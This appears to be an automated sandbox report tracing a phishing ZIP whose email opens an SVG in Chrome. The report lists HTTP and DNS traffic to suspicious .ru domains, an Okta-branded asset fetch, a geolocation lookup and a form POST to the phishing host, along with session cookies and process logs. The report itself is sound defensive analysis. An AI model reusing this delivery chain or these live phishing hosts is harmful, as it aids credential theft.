Source: global traffic	HTTP traffic detected: GET /yzBjX2yOm7GgfZp7ySyVTmnhLhRc5kO0DER2eibN90180 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlNXUVE0cm5uV3JrUHhWcXRVZTEydnc9PSIsInZhbHVlIjoiYm5ubFdJS0U1REc0SWRGM1lWdHRCbkkyNjBGSjhVNXdhODVGSUlQWTRaNVVMOGk3ME5wM09Gbm1lSE9xTG9INGczU2o1M3d4Q0VmMVBiMXgrQWhhdFM4N2NFODcrMlZRZkxrT2wxMGNJTXMwa3lUaE9sRFpxSEZ1NHh3K1VCZTEiLCJtYWMiOiI2NDc4OTM4NzUzNTYwMWU5N2YzN2FhODVhNWRhMDMzZjRjOTY4NTViYjIwMDIwMjUxNzczMGU5ZWY2YTg3NjEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZNMnVyMnNyQ0svNkJrakt6c2JaSGc9PSIsInZhbHVlIjoieUdQUElLcGlZYlRWalNaL1JZMCtzK2ZJTmppSnB3MThEUEFHRENGVzBjSUFHUXZnWVFOdmdQYjh1WFRBaUc3SGxjQkgyblJqOVl2TnBHS054SHdGbWZIcmZRblhXZmVjMUQvZWFiK3hPYVNxUUtDSEZkL0RXeEJhVEpDMURYT1QiLCJtYWMiOiI1ZWM3OWYxZDZiZjBjYjFmMTI4YmVkYjljMmQ1YTllMDMxODhjNDJmZDJiNTkyMjMzYzI0YjgyMjVlNDgwMjA0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsY9QFyk6R32e8jDZJbmjHEz2yENFut3KCC8y2uXijR2HqUtb03andHPqoC5fdQxPnef199 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlNXUVE0cm5uV3JrUHhWcXRVZTEydnc9PSIsInZhbHVlIjoiYm5ubFdJS0U1REc0SWRGM1lWdHRCbkkyNjBGSjhVNXdhODVGSUlQWTRaNVVMOGk3ME5wM09Gbm1lSE9xTG9INGczU2o1M3d4Q0VmMVBiMXgrQWhhdFM4N2NFODcrMlZRZkxrT2wxMGNJTXMwa3lUaE9sRFpxSEZ1NHh3K1VCZTEiLCJtYWMiOiI2NDc4OTM4NzUzNTYwMWU5N2YzN2FhODVhNWRhMDMzZjRjOTY4NTViYjIwMDIwMjUxNzczMGU5ZWY2YTg3NjEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZNMnVyMnNyQ0svNkJrakt6c2JaSGc9PSIsInZhbHVlIjoieUdQUElLcGlZYlRWalNaL1JZMCtzK2ZJTmppSnB3MThEUEFHRENGVzBjSUFHUXZnWVFOdmdQYjh1WFRBaUc3SGxjQkgyblJqOVl2TnBHS054SHdGbWZIcmZRblhXZmVjMUQvZWFiK3hPYVNxUUtDSEZkL0RXeEJhVEpDMURYT1QiLCJtYWMiOiI1ZWM3OWYxZDZiZjBjYjFmMTI4YmVkYjljMmQ1YTllMDMxODhjNDJmZDJiNTkyMjMzYzI0YjgyMjVlNDgwMjA0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ijFqfTcgCGK1tbI7nACMyZO1V6fOhTjRy0I7kldo9D2dZ65Fmc3TYG0LyrjTef208 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlNXUVE0cm5uV3JrUHhWcXRVZTEydnc9PSIsInZhbHVlIjoiYm5ubFdJS0U1REc0SWRGM1lWdHRCbkkyNjBGSjhVNXdhODVGSUlQWTRaNVVMOGk3ME5wM09Gbm1lSE9xTG9INGczU2o1M3d4Q0VmMVBiMXgrQWhhdFM4N2NFODcrMlZRZkxrT2wxMGNJTXMwa3lUaE9sRFpxSEZ1NHh3K1VCZTEiLCJtYWMiOiI2NDc4OTM4NzUzNTYwMWU5N2YzN2FhODVhNWRhMDMzZjRjOTY4NTViYjIwMDIwMjUxNzczMGU5ZWY2YTg3NjEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZNMnVyMnNyQ0svNkJrakt6c2JaSGc9PSIsInZhbHVlIjoieUdQUElLcGlZYlRWalNaL1JZMCtzK2ZJTmppSnB3MThEUEFHRENGVzBjSUFHUXZnWVFOdmdQYjh1WFRBaUc3SGxjQkgyblJqOVl2TnBHS054SHdGbWZIcmZRblhXZmVjMUQvZWFiK3hPYVNxUUtDSEZkL0RXeEJhVEpDMURYT1QiLCJtYWMiOiI1ZWM3OWYxZDZiZjBjYjFmMTI4YmVkYjljMmQ1YTllMDMxODhjNDJmZDJiNTkyMjMzYzI0YjgyMjVlNDgwMjA0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr7i6AiQNGONeOHJi5E2vriIl3hagm7CP9YzevhgeHzL712BMmP3uEWrF7MlPUMSh5aijgWXXTYu1VNcd231 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlNXUVE0cm5uV3JrUHhWcXRVZTEydnc9PSIsInZhbHVlIjoiYm5ubFdJS0U1REc0SWRGM1lWdHRCbkkyNjBGSjhVNXdhODVGSUlQWTRaNVVMOGk3ME5wM09Gbm1lSE9xTG9INGczU2o1M3d4Q0VmMVBiMXgrQWhhdFM4N2NFODcrMlZRZkxrT2wxMGNJTXMwa3lUaE9sRFpxSEZ1NHh3K1VCZTEiLCJtYWMiOiI2NDc4OTM4NzUzNTYwMWU5N2YzN2FhODVhNWRhMDMzZjRjOTY4NTViYjIwMDIwMjUxNzczMGU5ZWY2YTg3NjEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZNMnVyMnNyQ0svNkJrakt6c2JaSGc9PSIsInZhbHVlIjoieUdQUElLcGlZYlRWalNaL1JZMCtzK2ZJTmppSnB3MThEUEFHRENGVzBjSUFHUXZnWVFOdmdQYjh1WFRBaUc3SGxjQkgyblJqOVl2TnBHS054SHdGbWZIcmZRblhXZmVjMUQvZWFiK3hPYVNxUUtDSEZkL0RXeEJhVEpDMURYT1QiLCJtYWMiOiI1ZWM3OWYxZDZiZjBjYjFmMTI4YmVkYjljMmQ1YTllMDMxODhjNDJmZDJiNTkyMjMzYzI0YjgyMjVlNDgwMjA0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stXbW9Cl08NuKgyJENygdPRVHIdnXfIjP2wrOq5Eym8RiGvXSkCS67h1pANQsiMg9kBZ7WUadfyUfHUZkQZef256 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlNXUVE0cm5uV3JrUHhWcXRVZTEydnc9PSIsInZhbHVlIjoiYm5ubFdJS0U1REc0SWRGM1lWdHRCbkkyNjBGSjhVNXdhODVGSUlQWTRaNVVMOGk3ME5wM09Gbm1lSE9xTG9INGczU2o1M3d4Q0VmMVBiMXgrQWhhdFM4N2NFODcrMlZRZkxrT2wxMGNJTXMwa3lUaE9sRFpxSEZ1NHh3K1VCZTEiLCJtYWMiOiI2NDc4OTM4NzUzNTYwMWU5N2YzN2FhODVhNWRhMDMzZjRjOTY4NTViYjIwMDIwMjUxNzczMGU5ZWY2YTg3NjEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZNMnVyMnNyQ0svNkJrakt6c2JaSGc9PSIsInZhbHVlIjoieUdQUElLcGlZYlRWalNaL1JZMCtzK2ZJTmppSnB3MThEUEFHRENGVzBjSUFHUXZnWVFOdmdQYjh1WFRBaUc3SGxjQkgyblJqOVl2TnBHS054SHdGbWZIcmZRblhXZmVjMUQvZWFiK3hPYVNxUUtDSEZkL0RXeEJhVEpDMURYT1QiLCJtYWMiOiI1ZWM3OWYxZDZiZjBjYjFmMTI4YmVkYjljMmQ1YTllMDMxODhjNDJmZDJiNTkyMjMzYzI0YjgyMjVlNDgwMjA0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://3gyu.zelivarne.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: 3gyu.zelivarne.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: 6id4q.zvaznx.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: ywbbognklmcucjytnmcvgcie9aaap0wj0bp8tyv9kyxj2w0nmxjtj.mybuycentr.ru

Source: unknown

HTTP traffic detected: POST /jikQoGzPw646diQ2ggyFX2eyqXortrWoD10z9k HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-aliveContent-Length: 774sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGof5XzmFAhFccBIVsec-ch-ua-mobile: ?0Accept: */*Origin: https://3gyu.zelivarne.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://3gyu.zelivarne.ru/lGfpSLU/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhKWVNKeTQ2MFNhQmVBeFU0NUxzNUE9PSIsInZhbHVlIjoiQXVsdk54em5jRmlza0YzL1NIZzZTdjJuUGhZZGJmbzFlWkJudlVWcmovZGxlSzBQMk9ySFNLQ2dRbXVvMUxlN1B2SStMOE5lQ0gycEU4bi92Z0NWS3BQZEdKRUpPN1Y3YUdVYlZiK2VBSFNqSWNSY3NPQXVMOEgyUXpPUzlZWXQiLCJtYWMiOiJhOTdhZDZmZjYxOTVmNWQ3MzdmZDk4YTYxMWVkNjY0NzhkODM2ZWVkMGU0MTUwZTVhYWMxOGU0NjdhNmRkMmQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5aEFwcEppTW90TUUyWEp4bWxKeEE9PSIsInZhbHVlIjoiZHU4b1dGbkN3TE1qT0dqZTcrRUFDZTE0YW9jc2NNeGNOM2VqaTNPdytEYzUvRjdhUm5NYWhlNVJvV2w4dVFZTFIxanpBMGtkbzhhempXN3BHRXZPTXBkRlpjRjBuSlZRTnJNNFZNQUFmbVZXRW9URElhRFpzM3lTNFBHSHNJU04iLCJtYWMiOiIzYWFiNWJjY2FkYjBkY2EyMjRmZmEwN2UwMDhlNzk1Njg4Zjg2MjMyMDJjZTFiM2JlZGM5ZTNjZmU2MTk1YTM2IiwidGFnIjoiIn0%3D

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Mar 2025 11:31:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mPwagLtSSlL2MngjZaiP3xtJbn3Yz%2FXwHGIk1ElRcs4R94PLH4htnwzzdPIdEXPnb3wgf27lIP5%2F6SCytgRcMMosJ%2BIUfkrR%2FaFuYwL8vI2MpilT7wXiXcjio6oU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=5565&min_rtt=5536&rtt_var=1614&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2236&delivery_rate=495649&cwnd=248&unsent_bytes=0&cid=0264a39d12964cd8&ts=188&x=0"Cache-Control: max-age=14400Server: cloudflareCF-RAY: 920371a4fa414299-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1737&min_rtt=1733&rtt_var=659&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1900&delivery_rate=1650650&cwnd=235&unsent_bytes=0&cid=06dab9adce8c442b&ts=512&x=0"

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 104.21.37.108:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.4.189:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.164:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.251:443 -> 192.168.2.16:49765 version: TLS 1.2

Source: classification engine

Classification label: mal48.phis.winZIP@24/38@26/221

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20250314T0730390050-6472.etl

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Temp\Temp1_VM Orger Acknowledged.zip\2ebc77ba-9c62-4256-fbee-08dd62e5107a\9d9f6e3b-7552-5d8c-68b2-f3b1c58b29b6.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "F1282493-4C99-4E26-B401-EA61DE48B6E3" "1E08416E-840A-4377-BC1A-BE2B73528DE8" "6472" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "F1282493-4C99-4E26-B401-EA61DE48B6E3" "1E08416E-840A-4377-BC1A-BE2B73528DE8" "6472" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\MICROS~1\Windows\INETCA~1\CONTEN~1.OUT\QB0LCRDR\PURCHA~1.SVG
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2032,i,4292284546028772035,10436533909893045900,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3
